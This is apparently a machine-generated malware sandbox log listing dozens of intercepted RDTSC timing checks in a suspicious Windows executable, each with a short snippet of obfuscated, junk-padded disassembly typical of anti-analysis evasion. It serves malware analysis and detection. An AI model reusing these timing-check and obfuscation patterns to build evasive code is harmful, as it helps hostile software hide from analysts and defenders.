Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2A50 second address: 6E2A7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F7290766B7Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7290766B2Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2A7E second address: 6E2A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CAFh 0x00000007 je 00007F7290C62CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2A9A second address: 6E2AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F1D second address: 6E5F27 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F27 second address: 6E5F59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F7290766B34h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F7290766B2Ah 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5F59 second address: 6E5FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnl 00007F7290C62CB2h 0x00000011 jo 00007F7290C62CACh 0x00000017 jne 00007F7290C62CA6h 0x0000001d pop eax 0x0000001e add ecx, 638A2B8Eh 0x00000024 push 00000003h 0x00000026 and edi, 1002DD7Bh 0x0000002c push esi 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 mov edi, esi 0x00000032 push 00000003h 0x00000034 jp 00007F7290C62CA9h 0x0000003a or dh, FFFFFF9Dh 0x0000003d jmp 00007F7290C62CB0h 0x00000042 push 7C298416h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pushad 0x0000004b popad 0x0000004c pop eax 0x0000004d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FB1 second address: 6E5FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290766B2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FC1 second address: 6E5FFA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 43D67BEAh 0x00000013 sub dword ptr [ebp+150D1FF0h], esi 0x00000019 lea ebx, dword ptr [ebp+15253D8Ch] 0x0000001f mov dword ptr [ebp+150D24C1h], edi 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 jmp 00007F7290C62CAFh 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E5FFA second address: 6E6010 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290766B28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F7290766B26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E6054 second address: 6E60B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007F7290C62CAEh 0x0000000d nop 0x0000000e call 00007F7290C62CB1h 0x00000013 sub dword ptr [ebp+150D1FE6h], ecx 0x00000019 pop ecx 0x0000001a mov dx, 04A8h 0x0000001e push 00000000h 0x00000020 mov esi, dword ptr [ebp+150D2BEEh] 0x00000026 push 04ED1B32h 0x0000002b pushad 0x0000002c pushad 0x0000002d jmp 00007F7290C62CB9h 0x00000032 jng 00007F7290C62CA6h 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E60B9 second address: 6E60BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E6289 second address: 6E62FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7290C62CB0h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 6BAEA692h 0x00000012 mov edx, dword ptr [ebp+150D198Ch] 0x00000018 lea ebx, dword ptr [ebp+15253DA0h] 0x0000001e mov edi, 3BEA4B40h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 ja 00007F7290C62CBEh 0x0000002b push ecx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 jnp 00007F7290C62CA8h 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F7290C62CB6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7065B1 second address: 7065B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70461D second address: 704623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704623 second address: 704627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704A28 second address: 704A2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704A2F second address: 704A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704BAC second address: 704BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704D2C second address: 704D30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704D30 second address: 704D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7290C62CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F7290C62CAEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704D4A second address: 704D4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704D4F second address: 704D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704EC3 second address: 704ED7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F7290766B2Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 705040 second address: 705046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 705185 second address: 70518B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70518B second address: 705191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7052DF second address: 70530B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7290766B2Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7290766B36h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70544D second address: 705451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D08EB second address: 6D090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F7290766B32h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 705761 second address: 705775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 705F01 second address: 705F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7061C3 second address: 7061C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 706456 second address: 70645C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70B03C second address: 70B047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70B047 second address: 70B04B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70B04B second address: 70B063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70D608 second address: 70D60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70D60C second address: 70D610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70D610 second address: 70D616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70D616 second address: 70D630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jp 00007F7290C62CB8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F7290C62CA6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70BEB6 second address: 70BEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70BEBA second address: 70BEBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70D7B9 second address: 70D7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C4957 second address: 6C4993 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7290C62CA6h 0x00000008 jmp 00007F7290C62CB9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7290C62CB0h 0x00000017 jng 00007F7290C62CA6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71176D second address: 711780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7290766B2Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711780 second address: 7117C3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7290C62CAAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7290C62CB4h 0x00000010 jmp 00007F7290C62CB0h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop edx 0x0000001d jo 00007F7290C62CBCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711AAC second address: 711ADE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F7290766B26h 0x00000009 pop edi 0x0000000a jmp 00007F7290766B38h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 js 00007F7290766B32h 0x00000017 je 00007F7290766B2Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711D4E second address: 711D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711D56 second address: 711D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711D5C second address: 711D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jo 00007F7290C62CAEh 0x0000000d jo 00007F7290C62CA6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711D75 second address: 711D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 711D79 second address: 711D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713ED9 second address: 713F2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F7290766B2Fh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F7290766B34h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push esi 0x0000001d jmp 00007F7290766B2Eh 0x00000022 pop esi 0x00000023 pop eax 0x00000024 call 00007F7290766B29h 0x00000029 pushad 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713F2C second address: 713F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F7290C62CA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713F39 second address: 713F8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007F7290766B39h 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F7290766B2Eh 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7290766B39h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713F8B second address: 713F90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713F90 second address: 713FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B2Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F7290766B26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 714168 second address: 71416C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7142CD second address: 7142D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 714DC7 second address: 714DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 714F51 second address: 714F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7290766B30h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715194 second address: 715199 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715199 second address: 7151EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jbe 00007F7290766B2Ch 0x0000000f jl 00007F7290766B26h 0x00000015 pop ecx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F7290766B28h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, 216755F7h 0x00000036 push eax 0x00000037 pushad 0x00000038 je 00007F7290766B2Ch 0x0000003e jns 00007F7290766B26h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7151EA second address: 7151F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715723 second address: 715727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715727 second address: 71572B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71572B second address: 715791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F7290766B37h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F7290766B28h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push edi 0x00000029 pop edi 0x0000002a push edi 0x0000002b mov dword ptr [ebp+150D24A4h], ecx 0x00000031 pop esi 0x00000032 push 00000000h 0x00000034 jmp 00007F7290766B2Ch 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c mov esi, eax 0x0000003e pop edi 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jnp 00007F7290766B26h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715791 second address: 715795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 715795 second address: 71579B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 718678 second address: 71867C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71867C second address: 718686 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71A779 second address: 71A78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290C62CB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71C716 second address: 71C732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F7290766B26h 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007F7290766B57h 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F7290766B26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71C732 second address: 71C736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71C736 second address: 71C756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F7290766B37h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71A55A second address: 71A56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F7290C62CACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71A56F second address: 71A574 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 722F98 second address: 722F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 720BF2 second address: 720BFC instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 722F9D second address: 722FA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 720BFC second address: 720C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F7290766B32h 0x00000010 ja 00007F7290766B2Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 723221 second address: 723225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 726517 second address: 726521 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 724137 second address: 72414C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72414C second address: 724150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 724150 second address: 72415A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
